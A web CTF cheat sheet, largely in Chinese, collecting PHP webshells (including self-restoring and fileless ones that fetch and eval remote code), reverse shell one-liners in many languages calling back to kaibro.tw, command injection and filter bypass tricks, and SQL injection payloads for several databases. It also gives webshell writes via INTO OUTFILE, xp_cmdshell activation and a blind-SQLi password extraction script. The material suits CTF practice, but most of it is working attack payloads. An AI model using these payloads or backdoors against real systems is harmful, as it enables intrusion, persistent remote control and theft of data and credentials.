WEB CTF CheatSheet

Webshell

<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>

<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")

<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")

<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id

<?php @include($_FILES['u']['tmp_name']);  
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906

<?php $x=~¾¬¬º«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")

echo "{${phpinfo()}}";

echo "${system(ls)}";

echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc=   =>  cat  flag

echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>

echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話

<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");

<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>

<?php 
// 無回顯後門  
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>

<?=
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");


A=fl;B=ag;cat $A$B

webshell駐留記憶體

解法：restart

<?php
    ignore_user_abort(true);  // 忽略連線中斷
    set_time_limit(0);  // 設定無執行時間上限
    $file = 'shell.php';
    $code = '<?php eval($_POST[a]);?>';
    while(md5(file_get_contents($file)) !== md5($code)) {
        if(!file_exists($file)) {
            file_put_contents($file, $code);
        }
        usleep(50);
    }
?>

無文件webshell

解法：restart

<?php  
    unlink(__FILE__);  
    ignore_user_abort(true);  
    set_time_limit(0);  
    $remote_file = 'http://xxx/xxx.txt';  
    while($code = file_get_contents($remote_file)){  
        @eval($code);  
        sleep(5);  
    };  

?>

Reverse Shell

本機Listen Port
- ncat -vl 5566
Perl
- perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Bash
- bash -i >& /dev/tcp/kaibro.tw/5566 0>&1
- bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
- 0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196
PHP
- php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'
NC
- nc -e /bin/sh kaibro.tw 5566
Telnet
- mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipe
Python
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ruby
- ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Node.js
- var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
- require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");
Powershell
- powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd

PHP Tag

<? ?>
- short_open_tag 決定是否可使用短標記
- 或是編譯php時 --enable-short-tags
<?=
- 等價 <? echo
- 自PHP 5.4.0起，always work!
<% %>、<%=
- 自PHP 7.0.0起，被移除
- 須將asp_tags設成On
<script language="php"
- 自PHP 7.0.0起，被移除
- <script language="php">system("id"); </script>

PHP Weak Type

var_dump('0xABCdef' == ' 0xABCdef');
- true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
var_dump('0010e2' == '1e3’);
- true
strcmp([],[])
- 0
sha1([])
- NULL
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
- PHP 7.0後，16進位字串不再當成數字
- e.g var_dump('0x01' == 1) => false
'' == 0 == false == NULL
md5([1,2,3]) == md5([4,5,6]) == NULL
- 可用在登入繞過 (用戶不存在，則password為NULL)
var_dump(md5(240610708));
- 0e462097431906509019562988736854
var_dump(sha1(10932435112));
- 0e07766915004133176347055865026311692244
$a="123"; $b="456"
- $a + $b == "579";
- $a . $b == "123456"
$a = 0; $b = 'x';
- $a == false => true
- $a == $b => true
- $b == true => true
$a = 'a'
- ++$a => 'b'
- $a+1 => 1

PHP 其他特性

Overflow

32位元
- intval('1000000000000') => 2147483647
64位元
- intval('100000000000000000000') => 9223372036854775807

浮點數精度

php -r "var_dump(1.000000000000001 == 1);"
- false
php -r "var_dump(1.0000000000000001 == 1);"
- true
$a = 0.1 * 0.1; var_dump($a == 0.01);
- false

ereg會被NULL截斷

var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
- 1
ereg和eregi在PHP 7.0.0.已經被移除

intval

四捨五入
- var_dump(intval('5278.8787'));
  - 5278
intval(012) => 10
intval("012") => 12

extract變數覆蓋

extract($_GET);
- .php?_SESSION[name]=admin
- echo $_SESSION['name'] => 'admin'

trim

會把字串前後的空白(或其他字元)去掉
未指定第二參數，預設會去掉以下字元
- " " (0x20)
- "\t" (0x09)
- "\n" (0x0A)
- "\x0B" (0x0B)
- "\r" (0x0D)
- "\0" (0x00)
可以發現預設不包含"\f" (0x0C)
- 比較：is_numeric()允許\f在開頭
如果參數是unset或空的變數，回傳值是空字串

is_numeric

is_numeric(" \t\r\n 123") => true
is_numeric(' 87') => true
is_numeric('87 ') => false
is_numeric(' 87 ') => false
is_numeric('0xdeadbeef')
- PHP >= 7.0.0 => false
- PHP < 7.0.0 => true
- 可以拿來繞過注入
以下亦為合法(返回True)字串:
- ' -.0'
- '0.'
- ' +2.1e5'
- ' -1.5E+25'
- '1.e5'

in_array

in_array('5 or 1=1', array(1, 2, 3, 4, 5))
- true
in_array('kaibro', array(0, 1, 2))
- true
in_array(array(), array('kai'=>false))
- true
in_array(array(), array('kai'=>null))
- true
in_array(array(), array('kai'=>0))
- false
in_array(array(), array('kai'=>'bro'))
- false
in_array('kai', array('kai'=>true))
- true
in_array('kai', array('kai'=>'bro'))
- false
in_array('kai', array('kai'=>0))
- true
in_array('kai', array('kai'=>1))
- false

array_search

mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
- 在haystack陣列中，搜尋needle的值，成功則返回index，失敗返回False
$strict為false時，採用不嚴格比較
- 預設是False
Example
- $arr=array(1,2,0); var_dump(array_search('kai', $arr))
  - int(2)
- $arr=array(1,2,0); var_dump(array_search('1', $arr))
  - int(0)

parse_str

parse_str(string, array)
會把查詢字串解析到變數中
如果未設置第二個參數，會解析到同名變數中
- PHP7.2中不設置第二個參數會產生E_DEPRECATED警告

parse_str('gg[kaibro]=5566');

array(1) {
  ["kaibro"]=>
    string(4) "5566"
}

PHP變數有空格和.，會被轉成底線

parse_str("na.me=kaibro&pass wd=ggininder",$test);
var_dump($test);

array(2) { 
    ["na_me"]=> string(6) "kaibro" 
    ["pass_wd"]=> string(9) "ggininder" 
}

parse_url

在處理傳入的URL會有問題

parse_url('/a.php?id=1')

array(2) {
  ["host"]=>
    string(5) "a.php"
  ["query"]=>
    string(4) "id=1"
}

parse_url('//a/b')
- host: a
parse_url('..//a/b/c:80')
- host: ..
- port: 80
- path: //a/b/c:80
parse_url('///a.php?id=1')
- false

parse_url('/a.php?id=1:80')

PHP < 7.0.0
- false

PHP >= 7.0.0

  array(2) { 
      ["path"]=> string(6) "/a.php" 
      ["query"]=> string(7) "id=1:80" 
  }

parse_url('http://kaibro.tw:87878')

5.3.X版本以下

array(3) { 
    ["scheme"]=> string(4) "http" 
    ["host"]=> string(9) "kaibro.tw" 
    ["port"]=> int(22342) 
}

其他： false

preg_replace

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
- 搜尋$subject中匹配的$pattern，並用$replacement替換
第一個參數用/e修飾符，$replacement會被當成PHP code執行
- 必須有匹配到才會執行
- PHP 5.5.0起，會產生E_DEPRECATED錯誤
- PHP 7.0.0不再支援，用preg_replace_callback()代替

example:

<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);

sprintf / vprintf

對格式化字串的類型沒檢查
格式化字串中%後面的字元(除了%之外)會被當成字串類型吃掉
- 例如%\、%'、%1$\'
- 在某些SQLi過濾狀況下，%' and 1=1#中的單引號會被轉義成\'，%\又會被吃掉，'成功逃逸
- 原理：sprintf實作是用switch...case...
  - 碰到未知類型，default不處理

file_put_contents

第二個參數如果是陣列，PHP會把它串接成字串

example:

<?php
$test = $_GET['txt'];
if(preg_match('[<>?]', $test)) die('bye');
file_put_contents('output', $test);

可以直接?txt[]=<?php phpinfo(); ?>寫入

spl_autoload_register

spl_autoload_register()可以自動載入Class
不指定參數，會自動載入.inc和.php
Example:
- 如果目錄下有kaibro.inc，且內容為class Kaibro{...}
- 則spl_autoload_register()會把這個Class載入進來

路徑正規化

a.php/.
- file_put_contents("a.php/.", "<?php phpinfo() ?>");
  - 可成功寫入
    - 經測試Windows可以覆寫、Linux無法
  - 可以繞過一些正規表達式判斷
- file_get_contents("a.php/.");
  - 經測試Windows下可成功讀、Linux無法
- 還有很多其他function也適用
" => .
- a"php
> => ?
- a.p>p
- a.>>>
< => *
- a.<

URL query decode

$_GET會對傳入的參數做URLdecode再返回
$_SERVER['REQUEST_URI']和$_SERVER['QUERY_STRING']則是直接返回

Example:

Request: http://kaibro.tw/test.php?url=%67%67

$_GET: [url] => gg
$_SERVER['REQUEST_URI']: /test.php?url=%67%67
$_SERVER['QUERY_STRING']: url=%67%67

OPcache

透過將PHP腳本編譯成Byte code的方式做Cache來提升性能
相關設定在php.ini中
- opcache.enable 是否啟用
- opcache.file_cache 設定cache目錄
  - 例如:opcache.file_cache="/tmp/opcache"
  - /var/www/index.php的暫存會放在/tmp/opcache/[system_id]/var/www/index.php.bin
- opcache.file_cache_only 設定cache文件優先級
- opcache.validate_timestamps 是否啟用timestamp驗證
system_id是透過Zend和PHP版本號計算出來的，可以確保相容性
所以在某些條件下可透過上傳覆蓋暫存文件來寫webshell
- system_id要和目標機器一樣
- timestamp要一致
https://github.com/GoSecure/php7-opcache-override
- Disassembler可以把Byte code轉成Pseudo code

PCRE回溯次數限制繞過

PHP的PCRE庫使用NFA作為正規表達式引擎
- NFA在匹配不上時，會回溯嘗試其他狀態
PHP為防止DOS，設定了PCRE回溯次數上限
- pcre.backtrack_limit
- 預設為1000000
回溯次數超過上限時，preg_match()會返回false
Example
- Code-Breaking Puzzles - pcrewaf

其他

大小寫不敏感
- <?PhP sYstEm(ls);
echo (true ? 'a' : false ? 'b' : 'c');
- b
echo `whoami`;
- kaibro
正規表達式.不匹配換行字元%0a
正規表達式常見誤用:
- preg_match("/\\/", $str)
- 匹配反斜線應該要用\\\\而不是\\
運算優先權問題
- $a = true && false;
  - $a => false
- $a = true and false;
  - $a => true
chr()
- 大於256會mod 256
- 小於0會加上256的倍數，直到>0
- Example:
  - chr(259) === chr(3)
  - chr(-87) === chr(169)
遞增
- $a="9D9"; var_dump(++$a);
  - string(3) "9E0"
- $a="9E0"; var_dump(++$a);
  - float(10)
算數運算繞Filter
- %f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
  - system
  - 可用在限制不能出現英數字時 or 過濾某些特殊符號
- $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
  - assert
- 其他
  - ~, ++等運算，也都可用類似概念構造
花括號
- 陣列、字串元素存取可用花括號
- $array{index}同$array[index]
filter_var
- filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)
  - False
- filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)
  - True
json_decode
- 不直接吃換行字元和\t字元
- 但可以吃'\n'和'\t'
  - 會轉成換行字元和Tab
- 也吃\uxxxx形式
  - json_decode('{"a":"\u0041"}')
=== bug
- var_dump([0 => 0] === [0x100000000 => 0])
  - 某些版本會是True
  - ASIS 2018 Qual Nice Code
- https://3v4l.org/sUEMG
openssl_verify
- 預測採用SHA1來做簽名，可能有SHA1 Collision問題
- DEFCON CTF 2018 Qual
Namespace
- PHP的預設Global space是\
- e.g. \system('ls');

Command Injection

| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`

. flag
PS1=$(cat flag)

`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /

? and *

? match one character
- cat fl?g
- /???/??t /???/p??s??
* match 多個
- cat f*
- cat f?a*

空白繞過

${IFS}
- cat${IFS}flag
- ls$IFS-alh
- cat$IFS$2flag
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
IFS=,;`cat<<<uname,-a`
- bash only

Keyword繞過

String Concat
- A=fl;B=ag;cat $A$B
Empty Variable
- cat fl${x}ag
- cat tes$(z)t/flag
Environment Variable
- $PATH => "/usr/local/….blablabla”
  - ${PATH:0:1} => '/'
  - ${PATH:1:1} => 'u'
  - ${PATH:0:4} => '/usr'
- ${PS2}
  - >
- ${PS4}
  - +
Empty String
- cat fl""ag
- cat fl''ag
  - cat "fl""ag"
反斜線
- c\at fl\ag

ImageMagick (ImageTragick)

CVE-2016-3714
mvg格式包含https處理(使用curl下載)，可以閉合雙引號
payload:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context

Ruby Command Executing

open("| ls")
IO.popen("ls").read
Kernel.exec("ls")
`ls`
system("ls")
eval("ruby code")
- Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
  - $$/$$ => 1
  - '' << 97 << 98 << 99 => "abc"
  - $:即$LOAD_PATH
exec("ls")
%x{ls}
Net::FTP
- CVE-2017-17405
- use Kernel#open

Python Command Executing

os.system("ls")
os.popen("ls").read()
os.execl("/bin/ls","")
os.execlp("ls","")
os.execv("/bin/ls",[''])
os.execvp("/bin/ls",[""])
subprocess.call("ls")
- subprocess.call("ls|cat",shell=False) => Fail
- subprocess.call("ls|cat",shell=True) => Correct
eval("__import__('os').system('ls')")
exec("__import__('os').system('ls')")
commands.getoutput('ls')

Read File

diff /etc/passwd /flag
paste /flag
bzmore /flag
bzless /flag
static-sh /flag
...

SQL Injection

MySQL

子字串：
- substr("abc",1,1) => 'a'
- mid("abc", 1, 1) => 'a'
Ascii function
- ascii('A') => 65
Char function
- char(65) => 'a'
Concatenation
- CONCAT('a', 'b') => 'ab'
  - 如果任何一欄為NULL，則返回NULL
- CONCAT_WS(分隔符, 字串1, 字串2...)
  - CONCAT_WS('@', 'gg', 'inin') => gg@inin
Cast function
- CAST('125e342.83' AS signed) => 125
- CONVERT('23',SIGNED) => 23
Delay function
- sleep(5)
- BENCHMARK(count, expr)
空白字元
- 09 0A 0B 0C 0D A0 20
File-read function
- LOAD_FILE('/etc/passwd')
File-write
- INTO DUMPFILE
  - 適用binary (寫入同一行)
- INTO OUTFILE
  - 適用一般文本 (有換行)
- 寫webshell
  - 需知道可寫路徑
  - UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
- 權限
  - SELECT file_priv FROM mysql.user
- secure-file-priv
  - 限制MySQL導入導出
    - load_file, into outfile等
  - 運行時無法更改
  - MySQL 5.5.53前，該變數預設為空(可以導入導出)
  - e.g. secure_file_priv=E:\
    - 限制導入導出只能在E:\下
  - e.g. secure_file_priv=null
    - 限制不允許導入導出
  - secure-file-priv限制下用general_log拿shell
```
SET global general_log='on';

SET global general_log_file='C:/phpStudy/WWW/cmd.php';

SELECT '<?php assert($_POST["cmd"]);?>';
```
IF語句
- IF(condition,true-part,false-part)
- SELECT IF (1=1,'true','false')
Hex
- SELECT X'5061756c'; => paul
- SELECT 0x5061756c; => paul
- SELECT 0x5061756c+0 => 1348564332
- SELECT load_file(0x2F6574632F706173737764);
  - /etc/passwd
- 可繞過一些WAF
  - e.g. 用在不能使用單引號時(' => \')
  - CHAR()也可以達到類似效果
    - 'admin' => CHAR(97, 100, 109, 105, 110)
註解：
- #
- --
- /**/
  - 一個*/可以閉合前面多個/*
- /*! 50001 select * from test */
  - 可探測版本
  - e.g. SELECT /*!32302 1/0, */ 1 FROM tablename
- `
  - MySQL <= 5.5
- ;
  - PDO支援多語句
information_schema
- mysql >= 5.0
Stacking Query
- 預設PHP+MySQL不支援Stacking Query
- 但PDO可以Stacking Query
其它：
- @@version
  - 同version()
- user()
  - current_user
  - current_user()
  - current user
- system_user()
  - database system user
- database()
  - schema()
  - current database
- @@basedir
  - MySQL安裝路徑
- @@datadir
  - Location of db file
- @@hostname
- @@version_compile_os
  - Operating System
- @@innodb_version
- MD5()
- SHA1()
- COMPRESS() / UNCOMPRESS()
- group_concat()
  - 合併多條結果
    - e.g. select group_concat(username) from users; 一次返回所有使用者名
- greatest()
  - greatest(a, b)返回a, b中最大的
  - greatest(1, 2)=2
    - 1
  - greatest(1, 2)=1
    - 0
- between a and b
  - 介於a到b之間
  - greatest(1, 2) between 1 and 3
    - 1
- regexp
  - SELECT 'abc' regexp '.*'
    - 1
- Collation
  - *_ci case insensitive collation 不區分大小寫
  - *_cs case sensitive collation 區分大小寫
  - *_bin binary case sensitive collation 區分大小寫
Union Based
- 判斷column數
  - union select 1,2,3...N
  - order by N 找最後一個成功的N
- AND 1=2 UNION SELECT 1, 2, password FROM admin--+
- LIMIT N, M 跳過前N筆，抓M筆
- 爆資料庫名
  - union select 1,2,schema_name from information_schema.schemata limit 1,1
- 爆表名
  - union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1
  - union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
- 爆Column名
  - union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
- MySQL User
  - SELECT CONCAT(user, ":" ,password) FROM mysql.user;
Error Based
- 長度限制
  - 錯誤訊息有長度限制
  - #define ERRMSGSIZE (512)
- Overflow
  - MySQL > 5.5.5 overflow才會有錯誤訊息
  - SELECT ~0 => 18446744073709551615
  - SELECT ~0 + 1 => ERROR
  - SELECT exp(709) => 8.218407461554972e307
  - SELECT exp(710) => ERROR
  - 若查詢成功，會返回0
    - SELECT exp(~(SELECT * FROM (SELECT user())x));
    - ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
  - select (select(!x-~0)from(select(select user())x)a);
    - ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
    - MySQL > 5.5.53 不會顯示查詢結果
- xpath
  - extractvalue (有長度限制，32位)
    - select extractvalue(1,concat(0x7e,(select @@version),0x7e));
    - ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
  - updatexml (有長度限制，32位)
    - select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
    - ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
- 主鍵重複
  - select count(*) from test group by concat(version(),floor(rand(0)*2));
    - ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
- 其它函數 (5.7)
  - select ST_LatFromGeoHash(version());
  - select ST_LongFromGeoHash(version());
  - select GTID_SUBSET(version(),1);
  - select GTID_SUBTRACT(version(),1);
  - select ST_PointFromGeoHash(version(),1);
- 爆庫名、表名、字段名
  - 當過濾information_schema等關鍵字時，可以用下面方法爆庫名
    - select 1,2,3 from users where 1=abc();
      - ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
  - 爆表名
    - select 1,2,3 from users where Polygon(id);
    - select 1,2,3 from users where linestring(id);
      - ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing
  - 爆Column
    - select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
      - ERROR 1060 (42S21): Duplicate column name 'id'
    - select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
      - ERROR 1060 (42S21): Duplicate column name 'username'
Blind Based (Time/Boolean)
- Boolean
  - 「有」跟「沒有」
  - id=87 and length(user())>0
  - id=87 and length(user())>100
  - id=87 and ascii(mid(user(),1,1))>100
  - id=87 or ((select user()) regexp binary '^[a-z]')
- Time
  - 用在啥結果都看不到時
  - id=87 and if(length(user())>0, sleep(10), 1)=1
  - id=87 and if(length(user())>100, sleep(10), 1)=1
  - id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1
繞過空白檢查
- id=-1/**/UNION/**/SELECT/**/1,2,3
- id=-1%09UNION%0DSELECT%0A1,2,3
- id=(-1)UNION(SELECT(1),2,3)
寬字節注入
- addslashes()會讓'變\'
- 在GBK編碼中，中文字用兩個Bytes表示
  - 其他多字節編碼也可
  - 但要低位範圍有包含0x5c(\)
- 第一個Byte要>128才是中文
- %df' => %df\' => 運' (成功逃逸)
Order by注入
- 可以透過asc、desc簡單判斷
  - ?sort=1 asc
  - ?sort=1 desc
- 後面不能接UNION
- 已知字段名 (可以盲注)
  - ?order=IF(1=1, username, password)
- 利用報錯
  - ?order=IF(1=1,1,(select 1 union select 2)) 正確
  - ?order=IF(1=2,1,(select 1 union select 2)) 錯誤
  - ?order=IF(1=1,1,(select 1 from information_schema.tables)) 正常
  - ?order=IF(1=2,1,(select 1 from information_schema.tables)) 錯誤
- Time Based
  - ?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常
  - ?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
group by with rollup
- ' or 1=1 group by pwd with rollup limit 1 offset 2#
將字串轉成純數字
- 字串 -> 16進位 -> 10進位
- conv(hex(YOUR_DATA), 16, 10)
- 還原：unhex(conv(DEC_DATA,10,16))
- 需注意不要Overflow
不使用逗號
- LIMIT N, M => LIMIT M OFFSET N
- mid(user(), 1, 1) => mid(user() from 1 for 1)
- UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
快速查找帶關鍵字的表
- select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');
innodb
- 表引擎為innodb
- MySQL > 5.5
- innodb_table_stats、innodb_table_index存放所有庫名表名
- select table_name from mysql.innodb_table_stats where database_name=資料庫名;
- Example: Codegate2018 prequal - simpleCMS
Bypass WAF
- select password => SelEcT password (大小寫)
- select password => select/**/password (繞空白)
- select password => s%65lect%20password (URLencode)
- select password => select(password) (繞空白)
- select password => select%0apassword (繞空白)
  - %09, %0a, %0b, %0c, %0d, %a0
- select password from admin => select password /*!from*/ admin (MySQL註解)
- information_schema.schemata => `information_schema`.schemata (繞關鍵字/空白)
  - select xxx from`information_schema`.schemata
- select pass from user where id='admin' => select pass from user where id=0x61646d696e (繞引號)
  - id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
- ?id=0e2union select 1,2,3 (科學記號)
  - ?id=1union select 1,2,3會爛
  - ?id=0e1union(select~1,2,3) (~)
  - ?id=.1union select 1,2,3 (點)
- WHERE => HAVING (繞關鍵字)
- AND => && (繞關鍵字)
  - OR => ||
  - = => LIKE
  - a = 'b' => not a > 'b' and not a < 'b'
  - > 10 => not between 0 and 10
- LIMIT 0,1 => LIMIT 1 OFFSET 0 (繞逗號)
  - substr('kaibro',1,1) => substr('kaibro' from 1 for 1)
- Multipart/form-data繞過
  - http://xdxd.love/2015/12/18/%E9%80%9A%E8%BF%87multipart-form-data%E7%BB%95%E8%BF%87waf/
- 偽造User-Agent
  - e.g. 有些WAF不封google bot

MSSQL

子字串：
- SUBSTRING("abc", 1, 1) => 'a'
Ascii function
- ascii('A') => 65
Char function
- char(65) => 'a'
Concatenation
- +
- 'a'+'b' => 'ab'
Delay function
- WAIT FOR DELAY '0:0:10'
空白字元
- 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
IF語句
- IF condition true-part ELSE false-part
- IF (1=1) SELECT 'true' ELSE SELECT 'false'
註解：
- --
- /**/
TOP
- MSSQL沒有LIMIT N, M的用法
- SELECT TOP 87 * FROM xxx 取最前面87筆
- 取第78~87筆
  - SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87
其它：
- db_name()
- user_name()
- @@servername
- host_name()
爆DB name
- DB_NAME(N)
- UNION SELECT NULL,DB_NAME(N),NULL--
- UNION SELECT NULL,name,NULL FROM master ..sysdatabases--
- SELECT catalog_name FROM information_schema.schemata
- 1=(select name from master.dbo.sysdatabases where dbid=5)
爆表名
- SELECT table_catalog, table_name FROM information_schema.tables
- SELECT name FROM sysobjects WHERE xtype='U'
- ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--
爆column
- SELECT table_catalog, table_name, column_name FROM information_schema.columns
- SELECT name FROM syscolumns WHERE id=object_id('news')
- ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--
Union Based
- Column型態必須相同
- 可用NULL來避免
Error Based
- 利用型別轉換錯誤
- id=1 and user=0
判斷是否站庫分離
- 客戶端主機名：select host_name();
- 服務端主機名：select @@servername;
- 兩者不同即站庫分離

xp_cmdshell

在MSSQL 2000默認開啟
MSSQL 2005之後默認關閉
有sa權限，可透過sp_configure重啟它

EXEC sp_configure 'show advanced options',1
RECONFIGURE 
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

關閉xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure'xp_cmdshell', 0;
RECONFIGURE;

快速查找帶關鍵字的表
- SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');
Unicode繞過
- IIS 對 Unicode 編碼是可以解析的，即 s%u0065lect 會被解析為 select

Oracle

SELECT語句必須包含FROM
- 用dual表
子字串：
- SUBSTR("abc", 1, 1) => 'a'
空白字元
- 00 0A 0D 0C 09 20
IF語句
- IF condition THEN true-part [ELSE false-part] END IF
註解：
- --
其它
- SYS.DATABASE_NAME
  - current database
- USER
  - current user
- SELECT banner FROM v$version where rownum=1
  - database version
庫名
- SELECT DISTINCT OWNER FROM ALL_TABLES
表名
- SELECT OWNER, TABLE_NAME FROM ALL_TABLES
Column
- SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS
Union Based
- Column型態必須相同
- 可用NULL來避免
- UNION SELECT 1, 'aa', null FROM dual
Error Based
- SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1
Out of band
- UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1

SQLite

子字串：
- substr(“abc",1,1) => 'a'
Ascii function:
- unicode('d') => 100
legth
- length('ab') => 2
Concatenation
- ||
- 'a' || 'b' => 'ab'
Time Delay
- randomblob(100000000)
空白字元
- 0A 0D 0C 09 20
Case when
- SQLite沒有if
- 可以用Case When ... Then ...代替
- case when (條件) then ... else ... end
註解
- --
爆表名
- SELECT name FROM sqlite_master WHERE type='table'
爆表結構(含Column)
- SELECT sql FROM sqlite_master WHERE type='table'
其他
- sqlite_version()
- sqlite無法使用\'跳脫單引號
Boolean Based: SECCON 2017 qual SqlSRF

Click here to view script

# encoding: UTF-8

# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼 
require 'net/http'
require 'uri'

$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
$ans = ''

(1..100).each do |i|
    l = 48
    r = 122

    while(l <= r)
        #puts "left: #{l}, right: #{r}"
        break if l == r

        mid = ((l + r) / 2)
        $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
        
        res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
        
        if res.body.include? 'document.location'
            l = mid + 1
        else
            r = mid
        end

    end
    $ans += l.chr
    puts $ans

end

PostgreSQL

子字串
- substr("abc", 1, 1) => 'a'
Ascii function
- ascii('x') => 120
Char function
- chr(65) => A
Concatenation
- ||
- 'a' || 'b' => 'ab'
Delay function
- pg_sleep(5)
- GENERATE_SERIES(1, 1000000)
空白字元
- 0A 0D 0C 09 20
encode / decode
